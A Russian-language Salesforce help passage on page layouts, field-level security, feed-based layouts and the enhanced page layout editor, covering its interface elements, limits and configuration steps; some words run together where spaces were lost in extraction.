Доступно в версиях:
Salesforce Classic и
Lightning Experience

Макеты страниц и макеты
поиска доступны в версиях:
все версии.

Безопасность поля доступна
в версиях: Enterprise
Edition, Performance
Edition, Unlimited Edition,
Developer Edition и
Database.com Edition.

Параметры безопасности поля позволяют контролировать уровень доступа
пользователей к определенным полям. Макеты страниц позволяют определять макет и
структуру страницпросмотраиредактирования сведенийв системе Salesforceнапортале
самообслуживанияиклиентскомпортале Salesforce. Благодарянастройкемакетовпоиска,
пользовательможетизменитьполя, которыеотображаются врезультатахпоиска, а также
кнопки, которые отображаются в списковых представлениях.

Важное замечание: Если макеты страниц используются для сокрытия полей на
страницахпросмотраиредактированиясведений, помните, чтопользователимогут
получить доступ к даннымполямдругимиспособами, включаяотчеты, результаты
поиска, списковые представления и интерфейсы API. Чтобы ограничить любые
способыдоступакполю, используйтепараметрыбезопасностиполя. Безопасность
полянепрепятствуетпоиску значенийвполе. Есликритериипоискасоответствуют
значениям полей, защищенных параметрами безопасности, то результаты поиска
возвращают связанные записи без защищенных полей и их значений.

Безопасность поля

• Параметрыбезопасности поля ограничивают доступ пользователей к любому способу просмотра и редактирования
полей, включая отчеты, результаты поиска, списковые представления, связанные списки, шаблоны эл. почты и
стандартных писем, настраиваемые ссылки, Connect Offline и API, а также при синхронизации данных или импорте
персональных данных.

• Параметры безопасности поля переопределяют любые менее строгие параметры доступа к полю в макетах страниц
и мини-страниц.

Например, если поле является обязательным в макете страницы, но доступным только для чтения в параметрах
безопасности поля, то параметры безопасности переопределяют макет страницы и предоставляют пользователю
доступ к полю только для чтения.

• Параметры безопасности поля переопределяют менее строгие параметры поля в макетах поиска.

Например, еслиполеотображаетсявмакетепоиска, носкрытоотопределенныхпользователейпосредствомпараметров
безопасности поля, то параметры безопасности поля переопределяют макет поиска, а поле не отображается данным
пользователям.

Макеты страниц

• Макеты страниц определяют макет и структуру страниц просмотра и редактирования сведений.

• Макеты страниц определяют поля, связанные списки и настраиваемые ссылки, доступные пользователю только на
страницах просмотра и редактирования сведений.

• Макеты страниц определяют стандартные и настраиваемые кнопки, отображающиеся на страницах сведений и в
связанных списках.

• Макеты страниц определяют статус полей (доступное, обязательное или только для чтения), отображаемых только
на страницах просмотра и редактирования сведений.
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• Вверсиях Personal Edition, Contact Manager, Group Editionи Professional Edition макетыстраницопределяютполя, доступные
пользователямв связанныхсписках, списковыхпредставлениях, отчетах, Connect Offline, шаблонах эл. почты, шаблонах
стандартных писем, настраиваемых ссылках, при синхронизации данных или импорте персональных данных.

• В версиях Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition макеты страниц
определяют некоторые аспекты макетов мини-страниц, включая тип отчета, связи профиля, связанные списки, поля
и параметры доступа к полю. Отображаемые поля и связанные списки макета мини-страницы доступны для
дополнительнойнастройки, однако другие элементы, унаследованные из связанного макета страницы, не могут быть
изменены в самом макете мини-страницы. Макеты мини-страниц отображают выбранные поля и связанные списки
записей в мини-представлении консоли.

• Макеты страниц не могут использоваться для защиты данных. Например, удаление кнопки «Правка» из макета
страницы не препятствует использованиюфункции встроенного редактирования для изменения записей. Чтобы
запретитьредактированиеданных, рекомендуемиспользоватьлюбуюкомбинациюправилобщегодоступа, параметров
безопасности поля, свойств полей макета страницы, правил проверки, полномочий объекта и страниц Visualforce.

Прим.: Чтобы автоматически добавить поле во все макеты страниц, а также активировать его доступность и
обязательность, независимоотпараметровбезопасностиполя, назначьтеполюстатусуниверсальногообязательного.

СМ. ТАКЖЕ:

Макеты страниц

Общие сведения о макетах на основе ленты
Макеты страниц на основе ленты позволяют упростить обработку записей благодаря наличию двух отдельных
представлений: представление ленты записи и подробное представление, включая связанные списки.

Доступно в версиях: Enterprise Edition, Performance Edition, Unlimited Edition и Developer Edition.

В отличие от стандартных макетов страниц, отображающих всю информацию о записи (лента, сведения и связанные
списки) на одной странице, макеты на основе ленты позволяют пользователям переключаться между представлением
ленты и подробным представлением для просмотра нужного типа информации. Например, представление ленты
позволяет просматривать комментарии других пользователей и создавать связанные записи. Подробное представление
позволяет детализировать связанные списки, вложения и другие подробные сведения о записи.

Макеты на основе ленты доступны для организаций, активов, обращений, контактов, интересов, возможностей и
настраиваемых объектов.
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Ниже перечислены компоненты, доступные в представлении ленты.

1.

Вкладки или — при использовании консоли Salesforce — кнопки-переключатели ( ), позволяющие
пользователям переключаться между представлением ленты и подробным представлением.

2. Публикатор, который может содержать действия, позволяющие пользователям выполнять такие операции, как
создание связанныхзаписейилирегистрациявызовов; доступныедействияопределяютсянастройкамиорганизации,
заданными администратором.

3. Представление записи, содержащее связанные действия (например, комментарии других пользователей).

4. Любые настраиваемые кнопки и ссылки, добавленные администратором.

5.
Значок ( ) илииндикатор ( ) исписокотслеживающих. Взависимостиотнастроек, заданныхадминистратором,
данные компоненты могут отображаться в левой или правой части страницы.

6. Фильтрыленты, позволяющиепользователямвыбиратьданные, которыедолжныотображатьсявленте. Взависимости
от настроек, заданных администратором, фильтры могут отображаться в левой, центральной или правой части
страницы.

Подробные представления содержат подробные сведения о записи, включая связанные списки.
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СМ. ТАКЖЕ:

Создание макетов страниц на основе ленты

Создание макетов страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания макетов
страниц:
• «Настройка

приложения»

Расширенныйредактормакетов страницпозволяетнастраиватьмакетыстраницзаписей
в соответствии с потребностями пользователей. На странице сведений о записи можно
добавлять и удалять действия, кнопки, поля и разделы, а также менять их расположение.

1. Внастройкахуправленияобъектом, которыйнеобходимоотредактировать, перейдите
к пункту «Страница».

2. Нажмите кнопку «Создать».

3. При необходимости выберите текущий макет страницы для клонирования.

4. Введите имя для нового макета.

5. Чтобысоздатьмакет, содержащийотдельныевкладкидлялентыистраницсведений,
установите флажок «Макет на основе ленты».

6. Нажмите кнопку «Сохранить».

7. Измените макет.

8. Назначьте новый макет профилям пользователей.
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Совет: Макет страницы также можно создать путем клонирования существующего макета.

СМ. ТАКЖЕ:

Редактирование макетов страниц для стандартных объектов

Редактирование макетов страниц для настраиваемых объектов

Макеты страниц и безопасность поля

Общие сведения о макетах на основе ленты

Поиск по параметрам управления объектами

Создание макетов страниц на основе ленты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
макетов страниц:
• «Настройка

приложения»

Чтобы упростить процесс обработки записей организаций, контактов, интересов,
возможностейинастраиваемыхобъектов, рекомендуемсоздатьмакетынаосновеленты.
Данные макеты содержат два отдельных представления: представление ленты записи и
подробное представление.

Макеты на основе ленты — это усовершенствованное средство обработки записей,
позволяющее отображать только нужные сведения. Пользователи могут быстро
переключаться между представлением ленты (публикатор и важные события,
отображающиесявхронологическомпорядке) иподробнымпредставлением (подробные
сведения о записи, включая связанные списки).

Системапозволяетсоздаватьмакетынаосновелентыдляорганизаций, активов, контактов,
интересов, возможностей и настраиваемых объектов. Чтобы создать макеты на основе
ленты для обращений, воспользуйтесь лентой обращений.

1. Убедитесь, что функция отслеживания ленты включена для соответствующего
объекта. Чтобывключить этуфункцию, введите строку «Отслеживание ленты» вполе
«Быстрый поиск» вменю «Настройка» ивыберитепункт «Отслеживаниеленты».

2. Создайте макет страницы и установите флажок «Макет на основе ленты».

Прим.: Макетами на основе ленты могут быть только новые макеты страниц;
текущий стандартный макет не может быть заменен макетом на основе ленты.

3. Щелкните ссылку «Правка» напротив созданного макета и воспользуйтесь
расширенным редактором макетов страниц для его настройки.

Исходный редактор макетов страниц не позволяет настраивать макеты на основе ленты.

4. Настройте действия публикатора и добавьте настраиваемые кнопки или ссылки на основной странице редактора.

5. Чтобынастроитьсодержимое, отображаемоенастраницеленты, щелкнитессылку«Представлениеленты» в верхнем
колонтитуле редактора макетов страниц.

Ниже перечислены доступные действия.

• Разрешите использование ленты по всей ширине консоли Salesforce при просмотре записей на вкладках или
вложенных вкладках.

• Включите компактную ленту, предоставляющую пользователям возможность просмотра более упрощенного
представления ленты при обработке записей на основных или вложенных вкладках консоли Salesforce.

• Разрешите автоматическое сворачивание неиспользуемого публикатора.
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• Добавьте настраиваемые компоненты, являющиеся страницами Visualforce, которые поддерживают заданные
функции.

• Выберите расположение настраиваемых кнопок или ссылок и стандартных компонентов (например, кнопка
«Отслеживать» и список «Отслеживающие») на странице.

• Скройте стандартную боковую панель.

• Выберите доступные фильтры ленты и способ их отображения.

6. Назначьте макет страницы профилям пользователя.

СМ. ТАКЖЕ:

Общие сведения о макетах на основе ленты

Общие сведения о ленте обращений

Отслеживание ленты

Включение обновлений ленты для связанных записей

Макеты страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Макеты страниц доступны в
версиях: все версии.

Создание и удаление
макетов страниц доступно в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
макетов страниц:
• «Настройка

приложения»

Макеты страниц определяют макет и размещение кнопок, полей, элементов S-Control,
страниц Visualforce, настраиваемых ссылок и связанных списков на страницах записи
объектов. Кроме того, макеты страниц определяют доступные поля, обязательные поля
и поля, доступные только для чтения.Макеты страниц используются для организации
содержимого на страницах записей.

Макеты страниц могут содержать элементы S-Control и страницы Visualforce, которые
отображаются в разделе поля при отображении страницы. Пользователи могут
контролировать размер элементов S-Control и страниц Visualforce, а также определять
необходимость отображения меток и полос прокрутки.

Система Salesforce поддерживает два интерактивных инструмента для редактирования
макетов страниц: исходныйирасширенныйредакторымакетов страниц. Расширенный
редактор макетов страниц доступен по умолчанию и поддерживает все функции
исходногоредактора, а такжедополнительныефункциииудобныйинтерфейс WYSIWYG.

Чтобы включить исходный редактор макетов страниц, воспользуйтесь параметрами
пользовательскогоинтерфейса. Организацияможетодновременноиспользоватьтолько
один редактор макетов страниц.

В версиях Personal Edition, Contact Manager, Group Edition и Professional Edition всем
пользователямотображаетсяодинаковыймакет. Версии Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition позволяют создавать разные макеты страниц для
разных профилей и типов записей, а также настраивать параметры безопасности поля
для дополнительного ограничения доступа пользователей к определенным полям.
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Версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют настраивать
макеты мини-страниц и связанные объекты, которые должны отображаться на вкладке «Консоль».

СМ. ТАКЖЕ:

Макеты страниц и безопасность поля

Редактирование макетов страниц для стандартных объектов

Редактирование макетов страниц для настраиваемых объектов

Редактирование макетов страниц для стандартных объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Пользователимогут изменять внешний видмакетов страниц для стандартныхобъектов
Salesforce.

Откройте страницу «Макеты страниц» посредством параметров управления для
соответствующего объекта.

Чтобы настроить макет страницы стандартного объекта при использовании
расширенного редактора макетов страниц, включенного по умолчанию, щелкните
«Редактировать макет» на странице сведений об объекте.

СМ. ТАКЖЕ:

Макеты страниц

Макеты страниц и безопасность поля

Настройка макетов страниц с помощью исходного редактора макетов страниц

Настройка макетов страниц с помощью расширенного редактора макетов страниц
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Редактирование макетов страниц для настраиваемых объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Пользователимогутизменятьвнешнийвидмакетовстраницдлянастраиваемыхобъектов.

1. С помощью параметров управления для объекта, макет страницы которого вы
собираетесь изменить, перейдите к пункту «Макеты страниц».

2. Выполните одно из указанных ниже действий.

a. При наличии полномочия «Настройка приложения» откройте макет страницы,
который нужно настроить для изменения.

b. Еслиестьполномочие «Просмотрнастройки», щелкнитемакетстраницы, который
нужно просмотреть.

СМ. ТАКЖЕ:

Макеты страниц

Макеты страниц и безопасность поля

Настройка макетов страниц с помощью исходного редактора макетов страниц

Настройка макетов страниц с помощью расширенного редактора макетов страниц

Поиск по параметрам управления объектами

Настройка макетов страниц с помощью расширенного редактора макетов страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Расширенный редактор макетов страниц — это инструмент WYSIWYG, позволяющий
настраивать макеты организации для страниц просмотра и редактирования сведений в
системе Salesforce, на портале самообслуживания и клиентском портале Salesforce.
Расширенный редактор макетов страниц имеет все функции исходного редактора, а
также дополнительные функции и удобный интерфейс.

Расширенныйредактормакетов страницсодержитдвеобласти: палитра в верхнейчасти
экрана и макет страницы — в нижней. Палитра содержит элементы пользовательского
интерфейса, которые можно добавлять в макет страницы, например поля, действия,
кнопки, ссылки и связанные списки.

Нижеперечисленырекомендациипоиспользованиюрасширенногоредакторамакетов
страниц.

• Чтобы выбрать несколько отдельных элементов, воспользуйтесь комбинацией
CTRL+щелчок. Чтобы выбрать группу элементов, воспользуйтесь комбинацией
SHIFT+щелчок.

• Чтобы изменить свойства элемента в макете страницы, дваждыщелкните нужный
элемент или значок напротив этого элемента. Свойства элементов не могут быть
изменены на палитре.

• Чтобы присвоить полю статус обязательного или доступного только для чтения,
дваждыщелкните нужное поле в макете страницы и установите соответствующий
флажок.

• Чтобы открыть другой макет объекта, использующего несколько макетов страниц, щелкните имя нужного макета
страницы в верхней части страницы и выберите другой макет.
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• Чтобы изменить имя макета страницы, добавьте личные и общедоступные теги (при их наличии). Чтобы добавить
флажки стандартных объектов в макет страницы, щелкните «Свойства макета».

Прим.: Версия Professional Edition системы Salesforce не поддерживает переименование макета страницы.

• Версии Unlimited Edition, Performance Edition и Developer Edition позволяют выбрать профиль и увидеть, как страницы
будут выглядеть для пользователей. Большинство столбцов связанных списков отображаются без данных.

• Чтобынастроитьинструментыикомпоненты, которыеотображаютсяпользователямвленте записи, щелкнитессылку
«Представление ленты» в макете страницы на основе ленты.

• Чтобы выбрать поля, которые должны отображаться на странице сведений о записи, и изменить порядок их
отображения, щелкните «Редактировать многострочныймакет».

• Макет мини-страницы определяет, какие всплывающие сведения отображаются при наведении курсора мыши на
поле на странице сведений об объекте, в консоли Live Agent или в разделе «Недавние элементы» на боковой панели
Salesforce Classic. Чтобынастроитьполя вмакетемини-страницы, щелкните «Макетмини-страницы» вверхупалитры
инструментов.

• Завершивнастройкумакета страницы, сохраните его. Закрывмакет страницыне сохранив его, выпотеряете внесенные
изменения.

СМ. ТАКЖЕ:

Рекомендации по использованию расширенного редактора макетов страниц

Настройка связанных списков

Общие сведения о макетах на основе ленты

Макеты страниц

Элементы пользовательского интерфейса расширенного редактора макетов страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

Данный список описывает элементы пользовательского интерфейса расширенного
редактора макетов страниц и способы их использования. Чтобы добавить элементы,
перетащитеихмышьюизпалитрывмакет. Места, вкоторыеможноперетащитьэлементы,
выделены зеленым цветом. Чтобы удалить элементы, перетащите их мышью из макета
обратно в палитру.

Совет: Прежде чем редактировать макет страницы, рекомендуем создать
соответствующие кнопки, настраиваемые ссылки, поля, настраиваемые элементы
S-Control и страницы Visualforce.

Действия
Мобильные интеллектуальные действия отображаются как один элемент действия
вредакторемакетов страниц. Нонапанелидействийивменюдействийприложения
Salesforce1 они отображаются как отдельные действия создания. Данные отдельные
действия позволяют пользователям создавать записи прямо на панели действий.
Действия создания, добавленные в набор мобильных интеллектуальных действий,
определяются используемым объектом макета страницы.

Прим.: Удаление действия инициирует его удаление из всех назначенных
макетов.
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АктивыWave Analytics
Пользователь может добавлять и перемещать панель мониторингаWave Analytics в любой раздел макета страницы,
кроме раздела «Мобильные карты».

При выборе элемента «Панель мониторингаWave Analytics» рекомендуем использовать соотнесение полей для
соотнесения полей данных на панели мониторинга с полями объекта с целью отображения на панели мониторинга
только тех данных, которые являются релевантными к просматриваемой записи. При необходимости укажите поля
из нескольких наборов данных. Определите каждый набор данных по системному имени, указанному на странице
редактирования набора данных. Определите поля данных по строке и укажите в качестве значений имена полей из
объекта Salesforce или конкретные значения. Соотнесение полей JSON использует формат ниже.

{
"dataset1_system_name": {

"row_name": ["$field_name"],
"row_name”: ["$field_name"]

},
"dataset2_system_name": {

"row_name": ["$field_name"],
"row_name”: ["$field_name"]

}
}

Например, если панель мониторинга отображает данные из набора данных по имени Service ииспользует измерения
Account и Industry, то соотнесение полей будет выглядеть следующим образом:

{
"service": {

"account": ["$Name"],
"industry”: ["$Industry"]

}
}

Пробелы
Пользовательможетдобавлятьиперемещатьпробелывлюбомразделемакета страницы, кромераздела «Мобильные
карты». Пробелы позволяют выравнивать и разделять элементы страницы.

Прим.: Если исходный редактор макетов страниц используется для просмотра макета страницы, созданного
посредством расширенного редактора, то исходный редактор отображает любые добавленные пробелы.
Исходный редактор макетов страниц не позволяет добавлять или перемещать пробелы, но позволяет удалять
их путем перетаскивания в правое поле.

Пробелы не поддерживаются в Lightning Experience.

Кнопки
Макеты страниц позволяют определять стандартные и настраиваемые кнопки, доступные для отображения, а также
порядок отображения настраиваемых кнопок. Порядок отображения стандартных кнопок не может быть изменен.

Стандартные и настраиваемые кнопки доступны как действия в приложениях Salesforce1 и Lightning Experience.

Приложения холста
Категория «Приложения холста» отображается на палитре только в том случае, если приложению холста задано
отображение на странице Visualforce при его создании в системе Salesforce.

• Приложение холста, добавленное в любой раздел, кроме раздела «Мобильные карты», отображается на макете
страницы в полной версии системы Salesforce или на странице сведений о записи в приложении Salesforce1.
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• Приложение холста, добавленное в раздел «Мобильные карты», отображается как карта на странице связанных
сведений записи в приложении Salesforce1.

Компоненты
Компонент, добавленныйвраздел «Мобильныекарты» макета страницы, отображаетсякаккартанастраницесвязанных
сведений записи в приложении Salesforce1. Компоненты поддерживаются только разделом «Мобильные карты»
любого макета страницы и отображаются только в приложении Salesforce1.

При использовании организаций, созданных после выпуска Spring'14, компонент Twitter добавляется по умолчанию
в раздел «Мобильные карты» макетов страниц для соответствующих объектов.

Прим.: Компонент Twitter можетбытьдобавленвмакетстраницытолькопослевключенияфункции «Социальные
организации и контакты».

Карта Twitter, которую вы видите на страницах записей организаций, контактов и интересов в приложении Lightning
Experience, не совпадает с той, которая является компонентом Twitter, доступным в виде мобильной карты в редакторе
макетов страниц. Карта Twitter в приложении Lightning Experience является компонентом Lightning. Чтобы эта карта
отображалась, у вас должна работать функция «Социальные организации и контакты».

Развернутые поиски
Категория «Развернутые поиски» для расширенного редактора макетов страниц содержит поля со взаимосвязями
«Поиск». При добавлении в раздел макета «Мобильные карты» данные поля отображаются как карты связанного
поиска на странице связанных сведений записи в приложении Salesforce1. Макет страницыможет содержать не более
20 развернутых поисков.

Категория «Развернутые поиски» содержит только поля, связанные посредством взаимосвязи «Поиск» с объектами,
которые поддерживают компактные макеты.

Развернутые поиски не поддерживаются в Lightning Experience.

Поля
Поле может отображать один значок или несколько значков из приведенных ниже.

• : поле должно содержать значение для сохранения записи, но является необязательным в макете страницы.

• : поле должно быть добавлено в макет страницы, так как является универсальным обязательным или требуется
системой Salesforce автоматически. Подобные поля нельзя удалить, но можно переместить в другие области.

• : поле является управляющим.

• : поле является зависимым.

• : поле доступно только для чтения.

Чтобы назначить полю статус обязательного и доступного только для чтения, выберите нужное поле и щелкните
значок ( ) в любом выбранном поле.

• Свойства некоторых стандартных полей не могут быть изменены. Настраиваемые поля, которые не являются
универсальными обязательными, могут быть изменены.

• Поля, доступные только для чтения, могут быть изменены администраторами и пользователями с полномочием
«Редактирование полей только для чтения».

• Еслиполюраскрывающегося списка назначается статус доступного только для чтения, то все новые записи будут
содержать стандартное значение данного раскрывающегося списка.

• Поля автонумерации доступны только для чтения.

• Если полю возможности «Вероятность» назначается статус доступного только для чтения, то значение поля
«Вероятность» будет автоматически обновляться при изменении значения поля «Этап» в записи возможности.

Ниже перечислены особенности работы с полями.
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• В версиях Personal Edition, Contact Manager, Group Edition и Professional Edition макеты страниц определяют поля,
доступные пользователям в связанных списках, списковых представлениях, отчетах, Connect Offline, шаблонах эл.
почты, шаблонах стандартных писем, настраиваемых ссылках и при синхронизации данных. В версиях Enterprise
Edition, Unlimited Edition, Performance Edition и Developer Edition данный уровень доступа определяется параметрами
безопасности поля. Данные параметры переопределяют любые свойства поля, заданные в макете страницы, если
безопасность поля использует более строгие параметры, чем макет страницы.

• Мастера импорта данных организаций, контактов и интересов позволяют администраторам импортировать
данные в любое поле даже в том случае, если, согласномакету страницыилипараметрам безопасностиполя, поле
скрытоилидоступнотолькодлячтения. Данныемогут бытьимпортированытолько вполя, доступныеотдельным
пользователям согласно макету страницы или параметрам безопасности поля.

Связанные списки
Макет страницы может содержать не более 100 связанных списков. Связанные списки могут располагаться в нижней
части макета страницы. Чтобы переместить связанный список в макет страницы, перетащите манипулятор,
расположенный над связанным списком.

Чтобы настроить связанный список, дваждыщелкните манипулятор связанного списка или значок гаечного ключа
( ) внутри манипулятора. Чтобы выполнить указанные ниже действия, воспользуйтесь свойствами связанного
списка.

• Выберите поля, которые должны отображаться в виде столбцов связанного списка, порядок их отображения и
порядок сортировки записей связанного списка. Версии Professional Edition, Enterprise Edition, Unlimited Edition и
Performance Edition позволяют применять сведения о столбце к другим макетам страниц того же типа объекта.

• Выберите стандартные и настраиваемые кнопки, которые должны отображаться в связанном списке.

Ниже перечислены рекомендации по работе со связанными списками в макетах страниц.

• Кнопка «Просмотреть все» отображает не более 2 000 элементов связанного списка.

• Некоторые связанные списки недоступны для настройки, так как ссылаются на данные, но не хранят их. Система
Salesforce определяет связанные списки, которые не могут быть настроены в макете страницы.

• Связанные списки не могут быть добавлены в макеты страниц для объекта «Пользователь».

• При необходимости включите всплывающие ссылки связанного списка, позволяющие отображать ссылки для
каждого связанного списка вверху страниц сведенийо записях. Принаведении указателя мышина всплывающую
ссылкуотображается соответствующийсвязанныйсписоквинтерактивнойобластиналожения, поддерживающей
быстрый просмотр и управление элементами связанного списка. Кроме того, данный тип ссылок поддерживает
быстрый переход к содержимому связанного списка без прокрутки страницы вниз.

• Версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют
настраивать связанныесписки, которыедолжныбытьдоступныдляличногопользования. Администраторымогут
перезаписывать данные пользовательские настройки и применять конфигурацию связанного списка ко всем
пользователямдажепосленастройкипараметровихотображения. Чтобыперезаписатьпользовательскиенастройки
связанного списка, щелкните «Да» во всплывающем окне «Перезаписать настроенные связанные списки
пользователей», отображающемсяприсохранениимакетастраницыпослеперемещенияилидобавлениясвязанного
списка.

• Связанные списки отображаются на странице связанных сведений записи в приложении Salesforce1.

Настраиваемые элементы S-Control

Макет страницы может содержать не более 20 элементов S-Control.

Чтобыизменить свойства элемента S-Control, дваждыщелкните нужный элемент S-Control или значок гаечного ключа
( ) и настройте атрибуты ниже.

• «Ширина»: размер по горизонтали в пикселах или процентах.
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• «Высота»: размер по вертикали в пикселах.

• «Показать полосы прокрутки»: определяет необходимость отображения полос прокрутки во фрейме iFrame,
содержащем элемент S-Control.

• «Показать метку»: определяет необходимость отображения поля «Метка» настраиваемого элемента S-Control в
макете страницы. Чтобы расширить область отображения элемента S-Control, удалите метку.

Элементы S-Control не поддерживаются в Lightning Experience.

Разделы
Пользователь может добавлять и перемещать разделы в любой области над связанными списками макета страницы.
Добавляемые разделы могут содержать поля, элементы S-Control и пробелы. Кроме того, каждый макет страницы
содержит стандартный раздел, который может отображать только настраиваемые ссылки и пробелы. Раздел
настраиваемых ссылок можно изменить, но нельзя удалить со страницы.

Элемент пользовательского интерфейса «Раздел» отображается вторым на палитре при выборе категории «Поля»
или «Настраиваемые элементы S-Control».

Чтобы изменить атрибуты раздела, дваждыщелкните нужный раздел или соответствующий значок гаечного ключа
( ). Ниже перечислены доступные действия.

• Введите имя для раздела. Имена некоторых стандартных разделов страницы не могут быть изменены.

• Укажите количество столбцов в разделе (один или два).

• Укажите порядок перехода пользователей между элементами данного раздела.

• Укажите необходимость отображения заголовка раздела на страницах просмотра и редактирования сведений.

Теги
Если теги разрешены в вашей организации, нажмите кнопку «Свойства макета» и установите соответствующие
флажки, чтобыуказать, какие теги (личныеиобщедоступные) должныбыть включенывраздел верхнего колонтитула
макета страницы. Тегимогутбытьприсвоенызаписитолькоприналичииличныхилиобщедоступныхтегов вразделе
верхнего колонтитула. Кроме того, положениеличныхиобщедоступных тегов в верхнем колонтитуленеможет быть
изменено.

Теги не поддерживаются в Lightning Experience.

Страницы Visualforce
Страницы Visualforce можно добавлять только в те разделы макета страницы, которые зарезервированы для
настраиваемых ссылок и связанных списков. Макет страницы может содержать не более 20 страниц Visualforce.

Страница Visualforce может быть добавлена в макет страницы только в том случае, если стандартному контроллеру
страницыVisualforceназначаетсяобъект, для которого создаетсямакет страницы. ЕслистраницаVisualforceне содержит
стандартного контроллера, назначенного данному объекту, то категория «Страницы Visualforce» не отображается в
палитре.

Приложение Salesforce1 отображает только страницы Visualforce, помеченные флажком «Доступно для мобильных
приложений Salesforce».

ЭлементыстраницVisualforce, предназначенныхдлямобильныхустройств, немногоотличаютсяотсвоихпрототипов
по цвету. Чтобы определить, поддерживает ли страница Visualforce мобильные устройства, наведите указатель мыши
на нужный элемент страницы Visualforce в палитре.

СМ. ТАКЖЕ:

Рекомендации по использованию расширенного редактора макетов страниц

Настройка макетов страниц с помощью расширенного редактора макетов страниц
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Рекомендации по использованию расширенного редактора макетов страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макетов
страниц:
• «Настройка

приложения»

Для просмотра макетов
страниц:
• «Просмотр настройки»

• Элементы, добавленные в макет страницы, продолжают отображаться на палитре,
но неактивны. При выборе неактивного элемента на палитре система Salesforce
выделяет данный элемент в макете страницы.

• Удаление поля из макета страницы не инициирует его удаления из компактного
макета объекта. Оба типа макетов являются независимыми.

• Если организация использует исходный редактор макетов страниц, то страница
сведенийомакете страницыможет быть просмотренапутем выбораименинужного
макета. Расширенный редактор макетов страниц всегда отображает все функции
страницысведений, поэтомусамастраницанеможетбытьпросмотрена. Приналичии
полномочия «Просмотр настройки» система Salesforce отображает версию
расширенного редактора макетов страниц, доступную только для чтения.

Прим.: Данная версия макета страниц не позволяет отображать тип и длину
поля во всплывающих сведениях.

• Категории «Настраиваемыессылки», «Настраиваемыеэлементы S-Control» и «Страницы
Visualforce» отображаютсянапалитре, еслиданныетипыэлементовзаданыдляобъекта,
соответствующегомакетустраницы. Присозданиинастраиваемойссылкидляобъекта
ссылка добавляется в раздел «Настраиваемые ссылки» макета страницы данного
объекта. При использовании локализованных организаций Salesforce заголовок
раздела «Настраиваемыессылки» непереводится с английского языка автоматически
для объектов «Территория» и «Модель территории», но может быть отредактирован пользователями.

• Категория «Приложения холста» отображается на палитре, если как минимум одному приложению холста задано
отображение на странице Visualforce.

• Категория «Компоненты» отображаетсянапалитре тольков томслучае, еслидоступныекомпонентыподдерживаются
объектом, выбранным для определения макета страницы. Например, компонент Twitter поддерживается только
макетами страниц организаций, контактов и интересов.

• Вприведеннойдалее таблицеперечисленыстандартныеобъекты, которыесодержатфлажки, характерныедлямакетов
страницданногообъекта. Чтобынастроить способотображениякнопок-флажковв системе Salesforce, нажмитекнопку
«Свойства макета» при настройке макета страницы. Чтобы разрешить системе Salesforce автоматический выбор
флажка приоткрытии страницыредактирования, установите соответствующийфлажок «Выбрать по умолчанию».

Кнопки-флажкиОбъект

Флажок «При сохранении оценить данную организацию по правилам
территории» отображает флажок «При сохранении оценить данную

Организация

организацию по правилам территории» на страницах редактирования
сведений об организациях.

Если установлен флажок «Выбрать по умолчанию», то правила назначения
территорий выполняются автоматически.

Если установленыфлажки «Показать на странице редактирования» и
«Выбрать по умолчанию», то флажок «При сохранении оценить данную
организацию по правилам территории» настраницередактированиясведений
оборганизацииможетбыть снят; в этомслучаеправиланазначениятерриторий
не выполняются.
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Обращение – Флажок «Назначение обращения» отображает флажок «Назначить с
помощью активных правил назначения» на страницах редактирования
сведений об обращениях.

Еслиустановленфлажок «Выбрать по умолчанию», топравиланазначения
обращений выполняются автоматически.

Если установленыфлажки «Показать на странице редактирования» и
«Выбрать по умолчанию», то флажок назначения устанавливается по
умолчанию, но может быть снят пользователями для переопределения
правила назначения.

– Флажок «Электронное уведомление» отображает флажок «Отправить
электронное уведомление контакту» настраницахредактированиясведений
об обращениях.

Закрытие обращения – Флажок «Раздел сведений о решении» отображает раздел сведений о
решении на страницах редактирования сведений о закрытии обращения.

– Флажок «Уведомить контакта» отображаетфлажок «Уведомить контакта»
на страницах редактирования сведений о закрытии обращения.

Флажок «Назначение интереса» отображаетфлажок «Назначить с помощью
активного правила назначения» на страницах редактирования сведений об
интересах.

Если установлен флажок «Выбрать по умолчанию», то правила назначения
интересов выполняются автоматически.

Интерес

Если установленыфлажки «Показать на странице редактирования» и
